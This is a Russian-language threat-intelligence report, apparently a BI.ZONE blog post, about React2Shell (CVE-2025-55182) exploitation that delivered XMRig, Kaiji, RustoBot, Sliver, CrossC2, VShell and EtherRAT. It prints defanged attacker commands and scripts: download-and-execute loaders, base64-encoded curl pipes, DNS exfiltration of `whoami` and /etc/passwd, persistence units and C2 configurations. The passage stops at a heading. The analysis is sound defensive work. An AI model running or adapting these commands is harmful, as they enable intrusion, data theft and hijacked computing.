

Злоумышленники эксплуатируют уязвимость CVE-2025-55182 в атаках на российские компании

bi.zone/expertise/blog/zloumyshlenniki-ekspluatiruyut-uyazvimost-cve-2025-55182-v-ataках-na-rossiyskie-kompanii

December 18, 2025



В декабре 2025 года специалисты [BI.ZONE TDR](#) зафиксировали вредоносную активность, нацеленную на российские компании из сфер страхования, электронной коммерции и IT. В основе атак — эксплуатация уязвимости CVE-2025-55182 (React2Shell). В результате этой кампании в большинстве случаев распространялся майнер XMRig, а в некоторых — ботнеты Kaiji и RustoBot или имплант Sliver.

Аналитики [BI.ZONE Threat Intelligence](#) обнаружили и другие случаи эксплуатации React2Shell, не направленные на Россию. В атаках на другие страны злоумышленники распространяли различное вредоносное ПО: имплант CrossC2 для Cobalt Strike, средство удаленного администрирования Tactical RMM, загрузчики и бэкдор VShell, а также троян удаленного доступа EtherRAT.



React2Shell — уязвимость в протоколе Flight, который обеспечивает взаимодействие между клиентом и сервером в React Server Components. Проблема возникает из-за небезопасной десериализации: сервер принимает данные от клиента без должной проверки. При определенных условиях это позволяет атакующему добиться выполнения произвольного кода на сервере.

Ключевые выводы

- Критические уязвимости могут попасть в арсенал злоумышленников за считанные часы, даже несмотря на то, что многие уязвимости никогда не используются в реальных атаках.
- Часто недостаточно просто исправить уязвимость. Не менее важно проверить систему на наличие следов как успешной эксплуатации, так и постэксплуатационной активности.
- Эксплуатация подобных уязвимостей часто носит массовый характер и может сопровождаться самой разнообразной вредоносной активностью.

Атаки на российские компании

Случай 1

В результате эксплуатации уязвимости React2Shell на скомпрометированном хосте, в контейнере, атакующие выполняли следующие команды:

```
/bin/sh -c 'cd /tmp; wget hxxp://176.117.107[.]154/bot; chmod 777 bot; ./bot || cd /tmp; curl -O hxxp://176.117.107[.]154/bot; chmod 777 bot; ./bot'
```

Исполняемый ELF-файл `bot` является вредоносной программой RustoBot. RustoBot представляет собой ботнет, написанный на Rust и в основном нацеленный на устройства TOTOLINK.

Вредоносная программа получает адрес управляющего сервера с помощью разрешения следующих доменных имен:

- `ilefttototolinkalone.anondns[.]net`
- `rustbot.anondns[.]net`
- `bitcoinbandit.anondns[.]net`
- `cryptoenjoyers.anondns[.]net`

- `dontblockme.anondns[.]net`

Данные адреса разрешаются по IP-адресу `45.137.201[.]137`.

RustoBot позволяет проводить DDoS-атаки с помощью техник UDP flood, TCP flood, Raw IP flood с параметрами: целевой IP/порт, длительность атаки (в секундах), размер пакета (в байтах).

Также RustoBot содержит внутри себя нагрузку в виде майнера XMRig.

Затем атакующие загружали и выполняли Bash-скрипт с удаленного сетевого ресурса, выполняя закодированные в Base64 команды:

```
/bin/sh -c 'echo Y3VybcATcyAtLW1heC10aW11IDUgaHR0cHM6Ly90ci5lYXJuLnRvcC9Mb2cucGhwP2lkPU1JSUt0 | base64 -d | sh'
```

```
/bin/sh -c 'echo
Y3VybcATZnNTTCBodHRwc2ovL3RyLnVhcm4udG9wL2FwYWNoZXMuMuc2ggLW8gL3RtcC9hcGFjaGVzLnNoICYmIGNobW9kICt4IC90bXAvYXBhY2hlcy5zaCAmJiBub2h1cCAvdG1w
L2FwYWNoZXMuMuc2ggPi9kZXVvbnVsbCAyPiYxICY= | base64 -d | sh'
```

Декодированные команды:

```
curl -s --max-time 5 hxxps://tr.earn[.]top/Log.php?id=MIiKN
```

```
curl -fsSL hxxps://tr.earn[.]top/apaches.sh -o /tmp/apaches.sh && chmod +x /tmp/apaches.sh && nohup /tmp/apaches.sh >/dev/null 2>&1 &
```

Bash-скрипт `apaches.sh` предназначен для скачивания и установки майнера XMRig. Исполняемый ELF-файл майнера, запакованного UPX, загружался по адресу `hxxps://tr.earn[.]top/nginx.s`, а его конфигурационный файл загружался по адресу `hxxps://tr.earn[.]top/config.json`. Если `apaches.sh` запущен от пользователя `root`, тогда загруженные файлы сохраняются в директорию `/usr/local/sbin`, иначе — в `/tmp`. Также данный Bash-скрипт закрепляется с помощью создания сервиса `/etc/systemd/system/apaches-main.service` и с помощью задачи в Cron.

Затем на скомпрометированном хосте были зафиксированы команды:

```
/bin/sh -c 'echo $((41*271))'
```

```
/bin/sh -c whoami
```

```
curl hxxp://103.135.101[.]15/wocaosinm.sh
```

```
/bin/sh -c '$(curl -s hxxp://keep.camdvr[.]org:8000/d5.sh | bash | gzip -n | base64 -w0)'
```

После этого на хост загружался Bash-скрипт `wocaosinm.sh`, реализующий загрузку исполняемого ELF-файла (`linux_386` или `linux_amd64` — в зависимости от архитектуры системы), который являлся вредоносной программой — ботнетом Kaiji (билд — Ares).

```
#!/bin/sh
address="103.135.101.15:80"
os=$(uname -s)
arch=$(uname -m)
if [ $os = "Linux" ]; then
    case $arch in
        "i386")
            rm -f linux_386;wget -t 1 http://$address/linux_386||curl --connect-timeout 10 http://$address/linux_386|busybox wget http://$address/linux_386;chmod +x
            linux_386;./linux_386||rm -f linux_386
            ;;
        "amd64")
            rm -f linux_amd64;wget -t 1 http://$address/linux_amd64||curl --connect-timeout 10 http://$address/linux_amd64|busybox wget http://$address/linux_amd64;chmod +x
            linux_amd64;./linux_amd64||rm -f linux_amd64
            ;;
        "armv5")
            rm -f linux_armv5;wget -t 1 http://$address/linux_armv5||curl --connect-timeout 10 http://$address/linux_armv5|busybox wget http://$address/linux_armv5;chmod +x
            linux_armv5;./linux_armv5||rm -f linux_armv5
            ;;
        "armv6")
            rm -f linux_armv6;wget -t 1 http://$address/linux_armv6||curl --connect-timeout 10 http://$address/linux_armv6|busybox wget http://$address/linux_armv6;chmod +x
            linux_armv6;./linux_armv6||rm -f linux_armv6
            ;;
        "armv7")
            rm -f linux_armv7;wget -t 1 http://$address/linux_armv7||curl --connect-timeout 10 http://$address/linux_armv7|busybox wget http://$address/linux_armv7;chmod +x
            linux_armv7;./linux_armv7||rm -f linux_armv7
            ;;
        "armv8")
            rm -f linux_aarch64;wget -t 1 http://$address/linux_aarch64||curl --connect-timeout 10 http://$address/linux_aarch64|busybox wget http://$address/linux_aarch64;
            chmod +x linux_aarch64;./linux_aarch64||rm -f linux_aarch64
            ;;
        "aarch64")
            rm -f linux_aarch64;wget -t 1 http://$address/linux_aarch64||curl --connect-timeout 10 http://$address/linux_aarch64|busybox wget http://$address/linux_aarch64;
            chmod +x linux_aarch64;./linux_aarch64||rm -f linux_aarch64
            ;;
        esac
    else
        rm -f linux_amd64;wget -t 1 http://$address/linux_amd64||curl --connect-timeout 10 http://$address/linux_amd64|busybox wget http://$address/linux_amd64;chmod
        +x linux_amd64;./linux_amd64||rm -f linux_amd64
        rm -f linux_386;wget -t 1 http://$address/linux_386||curl --connect-timeout 10 http://$address/linux_386|busybox wget http://$address/linux_386;chmod +x
        linux_386;./linux_386||rm -f linux_386
        rm -f linux_mips64;wget -t 1 http://$address/linux_mips64||curl --connect-timeout 10 http://$address/linux_mips64|busybox wget http://$address/linux_mips64;
        chmod +x linux_mips64;./linux_mips64||rm -f linux_mips64
        rm -f linux_mips64el;wget -t 1 http://$address/linux_mips64el||curl --connect-timeout 10 http://$address/linux_mips64el|busybox wget http://$address/
        linux_mips64el;chmod +x linux_mips64el;./linux_mips64el||rm -f linux_mips64el
        rm -f linux_mipsel;wget -t 1 http://$address/linux_mipsel||curl --connect-timeout 10 http://$address/linux_mipsel|busybox wget http://$address/linux_mipsel;
        chmod +x linux_mipsel;./linux_mipsel||rm -f linux_mipsel
        rm -f linux_aarch64;wget -t 1 http://$address/linux_aarch64||curl --connect-timeout 10 http://$address/linux_aarch64|busybox wget http://$address/linux_aarch64;
        chmod +x linux_aarch64;./linux_aarch64||rm -f linux_aarch64
        rm -f linux_armv7;wget -t 1 http://$address/linux_armv7||curl --connect-timeout 10 http://$address/linux_armv7|busybox wget http://$address/linux_armv7;chmod +x
        linux_armv7;./linux_armv7||rm -f linux_armv7
        rm -f linux_armv6;wget -t 1 http://$address/linux_armv6||curl --connect-timeout 10 http://$address/linux_armv6|busybox wget http://$address/linux_armv6;chmod +x
        linux_armv6;./linux_armv6||rm -f linux_armv6
        rm -f linux_armv5;wget -t 1 http://$address/linux_armv5||curl --connect-timeout 10 http://$address/linux_armv5|busybox wget http://$address/linux_armv5;chmod +x
        linux_armv5;./linux_armv5||rm -f linux_armv5
    fi
fi
/bin/rm $0
```

Загрузка ВПО в зависимости от архитектуры

Вредоносная программа Kaiji обладает следующими функциональными возможностями:

- Реализация DDoS-атак с помощью SYN flood, ACK flood, UDP flood с возможностью подмены SourceIP-адреса из заданного диапазона; поддержка атак по протоколу WebSocket.
- Исполнение произвольных shell-команд в скомпрометированной системе.
- Динамическое управление конфигурацией: удаленное изменение параметров бота (диапазон IP, PID процессов для завершения при старте ВПО, режим работы, идентификатор бота) через зашифрованный конфигурационный файл `.walk lod`, размещаемый в системных директориях `/dev`, `/etc`, `/mnt`, `/opt`, `/sys`, `/usr`, `/run`, `/var/run`, `/tmp`.
- Множественное закрепление в системе через `systemd`-сервисы, `crontab`-задачи, `init.d`-скрипты, модификацию `rc.local` и `profile.d`, создание сервиса с именем `dns-tcp`.
- Подмена системных утилит (`ls`, `ps`, `ss`, `netstat`, `find`, `lsdf`) в `/usr/bin/` модифицированными версиями с перенаправлением на оригинальные файлы; маскировка под легитимные системные библиотеки и конфигурационные файлы (`libgdi.so.0.8.1`, `opt.services.cfg`, `System.mod`).
- Развертывание майнера XMRig.

Также на скомпрометированный хост загружался другой Bash-скрипт `d5.sh`, отвечающий за загрузку с сетевого ресурса

`hxxp://keep.camdvrl.[.]org:8000/BREAKABLE_PARABLE5` импланта Sliver. Bash-скрипт, в зависимости от уровня привилегий, закреплял Sliver в автозагрузке системы следующим образом:

- Если есть права `root`, Bash-скрипт копирует загруженную нагрузку в `/usr/bin/sshd-agent`, делает файл неизменяемым, используя команду `chattr +I`, затем создает сервис `systemd`.
- Если права `root` отсутствуют, выполняет команду `su - root` с целью повысить права, в случае неудачи создает скрытую директорию `~/.config/.system-monitor/`, копирует нагрузку с именем `.sys-mon` и добавляет ее в автозагрузку `crontab (@reboot)`, а также `.bashrc`. Для сервисных аккаунтов (например, `www-data`) Bash-скрипт помещает нагрузку в директорию `/tmp/.system-update/`.

Далее `d5.sh` удаляет следы: временные файлы, очищает историю bash (history), обнуляет файл `.bash_history`, удаляет сам себя.

Имплант Sliver обращался к C2-серверу [keep.camdvr\[.\]org](https://keep.camdvr[.]org).

Данная вредоносная активность, связанная с распространением ВПО Kaiji и Sliver, была ранее [описана](#) экспертами Huntress.

Случай 2

В контейнере скомпрометированного хоста после эксплуатации уязвимости React2Shell атакующие выполняли различные команды:

```
wget -O /tmp/runnv.tar.gz hxxp://128.199.194[.]97:9001/runnv.tar.gz
```

```
wget -O - hxxp://128.199.194[.]97:9001/setup2.sh
```

```
/sbin/modprobe msr allow_writes=on
```

В результате выполнения указанных команд атакующие разворачивали в системе жертвы майнер XMRig версии 6.24.0.

Загружаемый архив `runnv.tar.gz` содержал файл конфигурации майнера `config.json` и исполняемый ELF-файл `runnv`-майнера XMRig.

Загружаемый Bash-скрипт `setup2.sh` представлял собой измененный скрипт [setup_c3pool_miner.sh](#), предназначенный для установки майнера в систему. В параметре `WALLET` указан адрес криптокошелька:

`49Qp2aEzUdEAnd88muJEvDVKEzn9xbm5xEXjZ8QeN1ndVxvtUuSjZAecFJHabrzyE2VXTu5sZM8H5GiKfKah1VJBwuwhYc.`

```
#!/bin/bash

VERSION=2.12
find /tmp -mindepth 1 -maxdepth 1 ! -name runnv -exec rm -rf -- {} +
pgrep -f runnv >/dev/null || nohup $HOME/runnv/runnv &
PROCESS_KEY="runnv"
START_CMD="nohup $HOME/runnv/runnv >/dev/null 2>&1 &"
pid=$(ps aux | grep "$PROCESS_KEY" | grep -v grep | awk '{print $2}')

if [ -z "$pid" ]; then
    echo "$(date +%F %T) - runnv 未运行, 正在启动..."
    eval $START_CMD
fi

pids=$(ps aux | grep '[r]unnv' | grep '/tmp/runnv/runnv' | awk '{print $2}')
for pid in $pids; do
    if [ -n "$pid" ]; then
        # 确保 /proc/$pid 目录存在
        if [ -d "/proc/$pid" ]; then
            # 执行挂载操作
            echo "发现进程 PID: $pid"
            mount --bind /proc/2 /proc/$pid
            echo "已将 /proc/2 挂载到 /proc/$pid"
        else
            echo "/proc/$pid 目录不存在, 无法挂载"
        fi
    fi
done

curl http://128.199.194.97:9001/lived.sh -o /tmp/runnv/lived.sh
wget -O /tmp/runnv/lived.sh http://128.199.194.97:9001/lived.sh
chmod 777 /tmp/runnv/lived.sh

if command -v curl >/dev/null 2>&1; then
    if curl -fsSL "http://128.199.194.97:9001/alive.sh" -o "/tmp/runnv/alive.sh"; then
        echo "使用 curl 下载成功: /tmp/user.txt"
        chmod 777 /tmp/runnv/alive.sh
    else
        echo "curl 下载失败, 改用 wget..."
    fi
fi
```

Фрагмент кода скрипта `setup2.sh`

`setup2.sh` в ходе своего выполнения загружал другие Bash-скрипты — `alive.sh` и `lived.sh`.

`alive.sh` выполняет команду `ps -eo pid,pcpu --no-headers`, завершает работу процессов, которые потребляют CPU ≥ 40 . Не завершает работу:

- процессов, запущенных из директории `/tmp/runnv/*`;
- процесса с именем `/tmp/runnv/runnv`;

- процессов, у которых в командной строке присутствует **zzh**.

Скрипт **lived.sh** завершает работу процессов, в имени которых есть:

- **.sh/sh**;
- **python***;
- процессы, запущенные из **/tmp**;
- процессы, которые представляют собой исполняемые ELF-файлы.

Случай 3

В результате эксплуатации уязвимости React2Shell на скомпрометированном хосте, в контейнере **onyxdotapp/onyx-web-server:latest**, атакующие проводили разведку, выполняя закодированные в Base64 команды:

```
/bin/sh -c 'echo bNM= | base64 -d | sh'

/bin/sh -c 'echo bnNsb29rdXAgYHdob2FtaWAub2lhMGx3dXQybJY1ZjhvNHN3bWJlc3UwbnJ0awg5NXkub2FzdG1meS5jb20= | base64 -d | sh'

/bin/sh -c 'echo bnNsb29rdXAgYGxzYC5vaWEwbHd1dDJuNjVmOG80c3dtYmVzdTBucnRpaDk1eS5vYXN0awZ5LmNvbQ== | base64 -d | sh'

/bin/sh -c 'echo bnNsb29rdXAgYGxzYC42a3JpbmV3YjQ1OG5ocXFtdWVvdGdhZD2lw0XYxanI3Zy5vYXN0awZ5LmNvbQ== | base64 -d | sh'

/bin/sh -c 'echo bnNsb29rdXAgYG1kYkY42a3JpbmV3YjQ1OG5ocXFtdWVvdGdhZD2lw0XYxanI3Zy5vYXN0awZ5LmNvbQ== | base64 -d | sh'

/bin/sh -c 'echo bnNsb29rdXAgYHdob2FtaWAuNmtyaw5ld2I0NThuaHFxV3RnYXdpdD12MWpyN2cub2FzdG1meS5jb20= | base64 -d | sh'
```

Декодированные команды:

```
ls

nslookup `whoami`.oia0lwut2n65f8o4swmbesu0nrtih95y.oastify[.]com

nslookup `ls`.oia0lwut2n65f8o4swmbesu0nrtih95y.oastify[.]com

nslookup `id`.6krinwb458nhqqmueotgawip9v1jr7g.oastify[.]com

nslookup `cat /etc/passwd`.6krinwb458nhqqmueotgawip9v1jr7g.oastify[.]com
```

Примечательно, что атакующие использовали технику DNS-туннеля для получения результатов выполнения указанных команд.

Затем атакующие загрузили и выполнили Bash-скрипт **sex.sh**:

```
/bin/sh -c 'wget hxxp://216.158.232[.]43:12000/sex.sh && bash sex.sh'
```

Данный Bash-скрипт загружал из репозитория **hxxps://github[.]com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz** и устанавливал в системе майнер XMRig версии 6.24.0. Закреплялся майнер как сервис **system-update-service.service**:

```
[Unit]

Description=System Update Service

After=network.target

[Service]

Type=simple

ExecStart=xmrig --url pool.hashvault[.]pro:443 --user
88tGYBwhWNzGesQs5QkwE1PdBa1tXG6b9dcjxrdwuju3SEs3i7psaoJc4KmrDvv4VPTNtXazDWGkvGGfquirdBggvPEhZ43DJ --pass next --donate-level 0 --tls --
tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14

Restart=always

RestartSec=10

User=root

[Install]

WantedBy=multi-user.target
```

Другие атаки

Специалисты [BI.ZONE Threat Intelligence](#) также провели исследование других атак, не нацеленных на российский регион и связанных с эксплуатацией атакующими уязвимости React2Shell и распространением различного ВПО.

CrossC2 Cobalt Strike

Атакующие использовали Bash-скрипт `check.sh`, который загружал с сервера исполняемые ELF-файлы `a_x86/a_x64` и сохранял их под именем `rsyslo` в директории `/usr/local/rsyslo`, если скрипт был запущен от `root`-пользователя, либо в `${HOME}/.rsyslo` в случае запуска пользователем с обычными правами.

```
#!/usr/bin/env bash

##### 配置区域（按需修改） #####

# 服务名 / 单元文件名
SERVICE_NAME="rsyslo"

# root / 非 root 安装目录（根据权限自动选择）
ROOT_INSTALL_DIR="/usr/local/${SERVICE_NAME}"
USER_INSTALL_DIR="${HOME}/.${SERVICE_NAME}"

# 你的 64 位 / 32 位 ELF 下载地址（替换成你自己的地址）
URL_64="http://154.89.152.240//a_x64" # 64 位 ELF
URL_32="http://154.89.152.240//a_x86" # 32 位 ELF

# 可选：下载后校验用的 sha256（如果不用可以留空）
SHA256_64="" # 比如： "abcdef1234..."
SHA256_32=""

#####

IS_ROOT=0
if [[ "${EUID}" -eq 0 ]]; then
    IS_ROOT=1
fi

if [[ "${IS_ROOT}" -eq 1 ]]; then
    INSTALL_DIR="${ROOT_INSTALL_DIR}"
else
    INSTALL_DIR="${USER_INSTALL_DIR}"
fi

BIN_PATH="${INSTALL_DIR}/${SERVICE_NAME}"
```

Фрагмент кода скрипта `check.sh`

После выполнения `check.sh` создается и запускается сервис с описанием:

```
[Unit]

Description=Rsyslo AV Agent Service

After=network.target

[Service]

Type=simple

ExecStart=${BIN_PATH}

Restart=always

RestartSec=5

User=root

[Install]

WantedBy=multi-user.target
```

Исполняемые ELF-файлы [a_x86/a_x64](#) представляют собой полезную нагрузку Cobalt Strike для UNIX-систем фреймворка [CrossC2](#). Файлы запакованы с помощью UPX, конфигурация находится в конце исполняемого файла.

```
0015BE80 48 4F 4F 4B 50 01 00 00 8A 91 3B F6 29 B3 D5 F1  HOOKP...Б';ц) iXс
0015BE90 E8 D2 76 84 B7 6F DA 28 A6 5A 74 42 F6 E2 D3 99  иТv,,·oБ(|ZtВцвУ™
0015BEA0 AB BA 1D 22 68 F6 46 D8 24 CD D2 00 9C 2C 72 AE  «є."huFШ$HT.ь,r@
0015BEB0 25 13 51 D5 C5 D8 A0 94 62 29 4C 43 D6 DC 2B DB  %.QXEM "b) LCЦь+H
0015BEC0 24 65 5F 09 0B 4A 4F A2 3A C0 30 42 C9 45 CE 54  $e_..JOÿ:A0ВЙEOT
0015BED0 F9 8B 85 FB 48 EC C9 C0 CA 61 78 1E 12 24 89 44  ш<..ьHмЙAKах...$%D
0015BEE0 17 BF BE D7 0D 08 7F 93 C5 01 39 9B 09 BB 23 DB  .isЧ...“E.9>.»#H
0015BEF0 CA 16 49 EF ED 8E A7 DD ED C7 C6 E0 77 11 16 A9  K.ІпнТ$ЭнЭXaw..@
0015BF00 19 0D E1 9D 95 A9 A8 95 23 90 49 D5 64 42 E7 41  ..бк•@Е•#ђIXdBэA
0015BF10 89 43 81 22 A5 B7 90 20 A2 C4 78 5E 93 74 69 94  %CГ"Г·ђ ўДх^“ti”
0015BF20 07 E1 36 74 B7 5C 46 94 BC 69 4E 32 17 D3 20 B8  .б6t·\F”jiN2.Y ё
0015BF30 12 AF CD 79 C6 E4 AF D9 C4 29 F6 28 2F F7 16 8B  .ІHyЖдІЩД)ц(/ч.<
0015BF40 D7 06 44 FA 0B A5 CD 51 89 56 0C 41 71 A6 B7 94  Ч.Дь.ГHQ%V.Aq!·”
0015BF50 28 DE 02 C5 87 13 0E 0C 70 19 33 F4 5E 0D 41 D8  (Ю.E+...р.3ф^.AM
0015BF60 F9 8C 36 C6 F0 E4 A9 2C C5 DE EF A0 FC 16 22 A4  мБ6Жрd@,ЕЮп ь."я
0015BF70 D8 97 ED 16 1F 27 5D A2 3C 8C 1A E2 75 0F 57 C9  Ш-н..']Ÿ<Ь.ву.ВЙ
0015BF80 48 75 1B 4D DF 53 CC D9 EB 47 8B 92 02 6C CE 9F  Hu.MЯSMЩлG<' .lOц
0015BF90 16 A2 7A 3C 5A 7F C9 D5 AC 5C A8 14 13 14 B6 4D  .ŷz<Z.ЙX-\Ё...џM
0015BFA0 E6 A7 3C F8 7C 34 1E 35 CB F4 42 89 20 DB 7F 28  ж$<ш|4.5лфБ% Н.(
0015BFB0 46 A9 07 3B 1C 0D F9 B4 22 4B 32 81 05 D6 B8 EF  F@.;..шr"K2Г.Цёп
0015BFC0 40 A7 B2 69 56 34 D9 18 42 EF 17 D4 0D B2 3D 19  @§IiV4Щ.Вп.ф.І=.
0015BFD0 56 09 86 06 10 E7 C1 11  V.†...эБ.
```

Зашифрованная конфигурация CrossC2 Cobalt Strike

Расшифровка конфигурационных данных происходит с помощью алгоритма AES-128-CBC с ключом **aaaabbbbccccdddd** и вектором **abcdefghijklmnop**.

```
00000000 2E 01 00 00 9A 59 98 F0 BB 01 00 00 0E 00 00 00  ....ъY.р».....
00000010 31 35 34 2E 38 39 2E 31 35 32 2E 32 34 30 00 00  154.89.152.240..
00000020 00 00 0C 01 00 00 2D 2D 2D 2D 2D 42 45 47 49 4E  .....-----BEGIN
00000030 20 50 55 42 4C 49 43 20 4B 45 59 2D 2D 2D 2D 2D  PUBLIC KEY-----
00000040 0A 4D 49 47 66 4D 41 30 47 43 53 71 47 53 49 62  .MIGfMA0GCSqGS1b
00000050 33 44 51 45 42 41 51 55 41 41 34 47 4E 41 44 43  3DQEBAQUAA4GNADC
00000060 42 69 51 4B 42 67 51 43 66 6A 66 4B 39 38 49 4F  BiQKBgQCfjfk98IO
00000070 49 4E 6A 45 76 31 74 75 4A 51 6B 4B 37 30 48 67  INjEvltuJQkK70Hg
00000080 53 6F 76 35 46 69 42 2F 52 65 55 6B 47 69 4A 4B  Sov5FiB/ReUkGiJK
00000090 41 41 75 68 6A 47 72 6D 42 55 67 52 39 6B 32 38  AAuhjGrmBUgR9k28
000000A0 32 31 32 30 71 34 32 2B 32 74 62 32 66 65 4A 63  2120q42+2tb2feJc
000000B0 47 7A 64 53 6C 62 31 37 5A 55 63 4E 37 4D 67 7A  GzdSlb172UcN7Mgz
000000C0 50 53 41 6A 52 53 65 68 69 6C 59 57 52 53 48 4D  PSAjRSehilyWRSHM
000000D0 63 6D 56 72 41 34 59 32 58 71 73 4B 79 6B 6C 73  cmVrA4Y2XqsKykls
000000E0 45 51 77 56 4C 4F 33 72 67 73 52 62 37 42 44 4D  EQwVLO3rgsRb7BDM
000000F0 41 67 6C 4B 47 47 44 4C 6C 63 50 47 32 6B 44 32  AglKGGDLlcPG2kd2
00000100 44 4F 31 32 65 55 39 70 63 41 32 2B 77 45 6C 62  DO12eU9pcA2+wElb
00000110 62 41 51 49 44 41 51 41 42 0A 2D 2D 2D 2D 2D 45  bAQIDAQAB.-----E
00000120 4E 44 20 50 55 42 4C 49 43 20 4B 45 59 2D 2D 2D  ND PUBLIC KEY---
00000130 2D 2D 41 41 41 41 41 41 41 41 41 41 41 41 41 41  --AAAAAAAAAAAAAA
00000140 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10  ....lg
```

Tactical RMM

В ходе эксплуатации React2Shell атакующие загружали исполняемые ELF-файлы средства удаленного администрирования [Tactical RMM](#) по ссылке `hxxps://156.67.221[.]96/meshagents?`

`id=hrfDDhB@yNf4oBrCH@R$KfVp27XfA78LiX@IZUxoTgs3zCwG$bJdpR@0oa8@BhTf&installflags=0&meshinstall=6`.

При установке Mesh-агента его конфигурационные данные выглядели следующим образом:

`MeshName=root`

`MeshType=2`

`MeshID=0x86B7C30E107EC8D7F8A01AC21FE47F29F569DBB5DF03BF0B897F88654C684E0B37CC2C06FDB8DDA51FB4A1AF3E0614DF`

`ServerID=1D707CFEC8870C83F9E4AFF93758BAE47E8BFB10BFD94FAC88EA6423A9CEE9BB1F7CB3C3B92E1E57DD9C471AABE6809C`

`MeshServer=wss://156.67.221[.]96:443/agent.ashx`

VShell

Атакующие загружали Bash-скрипт с сетевого ресурса `hxxp://107.173.89[.]153:60051/slt`. Данный Bash-скрипт загружал исполняемые ELF-файлы под разные архитектуры:

`164="107.173.89[.]153:60051/?h=107.173.89[.]153&p=60051&t=tcp&a=164&stage=true"`

`132="107.173.89[.]153:60051/?h=107.173.89[.]153&p=60051&t=tcp&a=132&stage=true"`

`a64="107.173.89[.]153:60051/?h=107.173.89[.]153&p=60051&t=tcp&a=a64&stage=true"`

`a32="107.173.89[.]153:60051/?h=107.173.89[.]153&p=60051&t=tcp&a=a32&stage=true"`

Загруженный файл сохранялся в `/tmp/db946be9tcp`.

Указанные исполняемые файлы имеют идентичные функциональные возможности и являются загрузчиками бэкдора VShell. Загрузчик подключается к серверу `107.173.89[.]153:60051` с помощью создания TCP-сокета и отправляет данные:

- строку идентификации архитектуры (`132` или `164` — 6 байт);
- порт сервера (`0xEA93`);
- IP-адрес сервера (`107.173.89[.]153`).

После этого от сервера приходит зашифрованная вредоносная нагрузка. Нагрузка расшифровывается с помощью операции XOR с ключом `0x99`. Расшифрованная нагрузка запускается с помощью создания анонимного файлового дескриптора (`memfd_create`) и запускается с именем процесса `[kworker/0:2]`.

Расшифрованная нагрузка является бэкдором VShell на языке Go, который обфусцирован Garble. Конфигурация VShell-бэкдора:

```
{
  "server": "107.173.89[.]153:60051",
  "type": "tcp",
  "vkey": "qwe123qwe111",
  "proxy": "",
  "salt": "qwe123qwe111",
  "l": false,
  "e": false,
  "d": 30,
  "h": 10
}
```

EtherRAT

Также в атаках, связанных с эксплуатацией уязвимости React2Shell, было обнаружено распространение нового ВПО EtherRAT, которое было ранее [изучено](#) экспертами Sysdig Threat Research Team.

Атакующие скачивали Bash-скрипт по адресу `hxxp://193.24.123[.]68:3001/gfdsgsdhfsd_ghsfdgsfdgsdfg.sh`. Данный Bash-скрипт скачивал `node-v20.10.0-linux-x64` для запуска JS-скрипта, а также декодировал два файла, закодированных в Base64:

- `$HOME/.local/share/.05bf0e9b/.kxnz14mtez.js` — обфусцированный JS-скрипт, расшифровывающий с помощью AES зашифрованный файл `.1d5j6rm2mg2d`;
- `$HOME/.local/share/.05bf0e9b/.1d5j6rm2mg2d` — зашифрованный JS-скрипт.

`kxnz14mtez.js` расшифровывал файл `1d5j6rm2mg2d` с помощью AES-256-CBC с использованием ключа и вектора инициализации, закодированных в Base64:

- `key: cn7uRzKiMgOZ/dDxuc1zgDrGKLQ7HEtEZ1Ld6k6eRsg=`
- `iv: 2iWxmWx4r98fhw9jIpzKXA==`

Расшифрованный скрипт сохранялся с именем `7vfgycfd01.js`.

Данный скрипт представляет собой ВПО EtherRAT, которое способно выполнять произвольный JS-код, поступающий от управляющего сервера.

ВПО закрепляется с помощью:

1. `systemd`-сервиса:

```
[Unit]

Description=User Application Service

After=network.target

[Service]

Type=simple

ExecStart=/usr/bin/node <jsPath>

Restart=always

RestartSec=30

Environment=DISPLAY=:0

[Install]

WantedBy=default.target
```

2. XDG Autostart:

```
[Desktop Entry]

Type=Application

Name=System Service

Exec=/usr/bin/node /<jsPath>

Hidden=true

NoDisplay=true

X-GNOME-Autostart-enabled=true

StartupNotify=false

Terminal=false
```

3. `crontab`:

```
@reboot sleep 30 && /usr/bin/node <jsPath> >/dev/null 2>&1 &
```

4. .bashrc:

```
(nohup /usr/bin/node <jsPath> >/dev/null 2>&1 &) 2>/dev/null
```

5. .profile:

```
(/usr/bin/node <jsPath> >/dev/null 2>&1 &) 2>/dev/null
```

После закрепления происходит получение адреса C2-сервера из smart-контракта эндпоинта Ethereum RPC 0x22f96d61cf118efabc7c5bf3384734fad2f6ead4:

#	Name	Type	Data
0	_str	string	http://91.215.85.42:3000

Switch Back View In Decoder

Адрес C2-сервера в smart-контракте

Управляющий сервер EtherRAT: `hxxp://91.215.85[. ]42:3000`.

После этого на управляющий сервер отправляется запрос для получения частей JS-кода:

```
GET /api/{rand4hex}/{botID}/{rand4hex}.{png|jpg|gif|css|ico|webp}?{id|token|key|b|q|s|v}=c6d83cb1-a4de-443d-bd78-da925acc5f8d
```

```
Header: X-Bot-Server: {current_c2}
```

```
Timeout: 120 sec
```

Всего было получено пять уникальных JS-скриптов, после этого поступающие от C2-сервера JS-скрипты повторялись.

Скрипт 1

Скрипт предназначен для сбора подробной информации о системе и аппаратной конфигурации на хостах под управлением UNIX-подобных ОС, Windows и macOS. Его работа начинается с определения языковых настроек операционной системы. Если обнаруживается, что системный язык относится к одному из заранее заданных регионов (ru, be, kk, ky, tg, uz, hy, az, ka), скрипт немедленно прекращает выполнение и удаляет себя, не переходя к дальнейшим этапам сбора данных.

В случае продолжения работы скрипт собирает базовую информацию о системе, включая имя пользователя и хоста, тип платформы и архитектуру, время непрерывной работы системы, модель процессора и количество доступных ядер, объем оперативной памяти (общий и свободный), MAC-адрес сетевого интерфейса, а также установленную версию Node.js.

Набор дополнительных данных зависит от операционной системы. В среде Windows скрипт извлекает сведения о видеокарте через WMI, получает версию и редакцию операционной системы из системного реестра, считывает уникальный идентификатор машины (Machine GUID), определяет доменную принадлежность, проверяет наличие административных привилегий и собирает информацию об установленном антивирусном программном обеспечении через Security Center.

В UNIX-подобных системах и macOS скрипт определяет модель графического адаптера с помощью системных утилит, извлекает информацию о дистрибутиве и версии ОС из стандартных конфигурационных файлов или командных утилит, считывает `machine-id`, определяет доменное имя хоста и проверяет, запущен ли процесс с привилегиями суперпользователя. Также выполняется проверка на наличие активных антивирусных процессов, включая популярные серверные решения.

Дополнительно скрипт определяет внешний IP-адрес системы, последовательно обращаясь к нескольким публичным API-сервисам: `api.ipify[.]org`, `api.my-ip[.]io`, `api64.ipify[.]org`.

Скрипт 2

